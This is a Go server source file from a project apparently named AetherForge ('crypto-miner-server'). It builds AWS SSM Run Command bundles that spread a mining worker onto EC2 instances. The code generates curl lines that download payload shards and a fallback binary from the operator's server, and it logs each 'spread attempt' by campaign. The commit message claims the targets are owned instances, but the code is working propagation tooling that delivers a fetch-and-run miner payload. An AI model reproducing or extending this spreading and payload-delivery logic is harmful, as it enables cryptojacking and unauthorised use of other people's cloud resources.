Files
AetherForge/server/internal/api/spread_lanes.go
AetherForge f55ee47089
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add ssm_document spread lane for owned EC2 via SSM Run Command.
2026-06-07 09:56:14 -07:00

133 lines
5.7 KiB
Go

package api
import (
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
)
type SSMSpreadBundle struct {
JoinLane string `json:"join_lane"`
Document string `json:"document"`
RunCommand string `json:"run_command"`
CreateDocumentCLI string `json:"create_document_cli"`
ManifestURL string `json:"manifest_url,omitempty"`
ShardURLs []string `json:"shard_urls,omitempty"`
FallbackGetURL string `json:"fallback_get_url,omitempty"`
}
func (h *DeployPlanHandler) buildSSMSpreadBundle(req deployPlanRequest, serverURL string) (SSMSpreadBundle, error) {
buildID := strings.TrimSpace(req.BuildID)
campaign := strings.TrimSpace(req.Campaign)
_, getQuerySuffix := buildQuerySuffix(buildID, campaign)
fallbackURL := serverURL + "/get?os=linux" + getQuerySuffix
manifestURL := serverURL + "/api/v1/public/erasure-torrent/placeholder/manifest"
var shardURLs []string
if h.erasureEnabled != nil && h.erasureEnabled() && h.erasureShards != nil {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "linux"
}
if build, err := h.resolveBuild(buildID, platform); err == nil {
if payload, err := os.ReadFile(build.FilePath); err == nil {
if plan, err := erasure.BuildPlan(h.erasureShards, serverURL, buildID, campaign, payload, "/tmp/aetherforge-erasure/worker", "exe", "", true, true); err == nil && plan != nil {
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
manifestURL = manifest.ManifestURL
shardURLs = manifest.ShardManifestURLs
}
}
}
}
}
doc, runCmd, createCLI, err := renderSSMSpreadTemplates(h.projectRoot, serverURL, buildID, campaign, manifestURL, shardURLs, fallbackURL)
if err != nil {
return SSMSpreadBundle{}, err
}
return SSMSpreadBundle{JoinLane: "ssm_document", Document: doc, RunCommand: runCmd, CreateDocumentCLI: createCLI, ManifestURL: manifestURL, ShardURLs: shardURLs, FallbackGetURL: fallbackURL}, nil
}
func renderSSMSpreadTemplates(projectRoot, serverURL, buildID, campaign, manifestURL string, shardURLs []string, fallbackURL string) (string, string, string, error) {
dir := filepath.Join(projectRoot, "templates", "spread", "ssm")
docBytes, err := os.ReadFile(filepath.Join(dir, "document.json"))
if err != nil {
return "", "", "", fmt.Errorf("ssm document template: %w", err)
}
runBytes, err := os.ReadFile(filepath.Join(dir, "run-command.json"))
if err != nil {
return "", "", "", fmt.Errorf("ssm run-command template: %w", err)
}
cliBytes, err := os.ReadFile(filepath.Join(dir, "create-document.sh"))
if err != nil {
return "", "", "", fmt.Errorf("ssm create-document template: %w", err)
}
shardLines := make([]string, 0, len(shardURLs))
for i, u := range shardURLs {
shardLines = append(shardLines, fmt.Sprintf("curl -fsSL '%s' -o \"$WORKDIR/shard-%d.bin\"", strings.TrimSpace(u), i))
}
if len(shardLines) == 0 {
shardLines = append(shardLines, "# no erasure shards — fallback /get only")
}
repl := map[string]string{
"{{SERVER_URL}}": strings.TrimRight(strings.TrimSpace(serverURL), "/"), "{{BUILD_ID}}": buildID,
"{{CAMPAIGN}}": campaign, "{{MANIFEST_URL}}": manifestURL, "{{FALLBACK_GET_URL}}": fallbackURL,
"{{SHARD_FETCH_LINES}}": strings.Join(shardLines, "\n"),
}
apply := func(content string) string {
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
return content
}
return apply(string(docBytes)), apply(string(runBytes)), apply(string(cliBytes)), nil
}
func (h *SpreadHandler) ExportSSMSpreadBundle(w http.ResponseWriter, r *http.Request) {
var req struct {
ServerURL string `json:"server_url"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
Platform string `json:"platform"`
AWSCLI string `json:"aws_cli_path"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.BuildID, req.Campaign = strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Platform == "" {
req.Platform = "linux"
}
planHandler := h.deployPlan
if planHandler == nil {
planHandler = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return req.ServerURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
store := h.erasureShards
if store == nil {
store = erasure.NewShardStore()
}
planHandler.BindErasureFromHub(h.wsHub, store)
}
bundle, err := planHandler.buildSSMSpreadBundle(deployPlanRequest{BuildID: req.BuildID, Campaign: req.Campaign, Platform: req.Platform}, req.ServerURL)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if cli := strings.TrimSpace(req.AWSCLI); cli != "" {
bundle.CreateDocumentCLI = strings.ReplaceAll(bundle.CreateDocumentCLI, "${AWS_CLI:-aws}", cli)
}
if h.wsHub != nil && h.db != nil {
_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "ssm_document", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "ssm_document"})
}
writeJSON(w, map[string]interface{}{"ok": true, "bundle": bundle})
}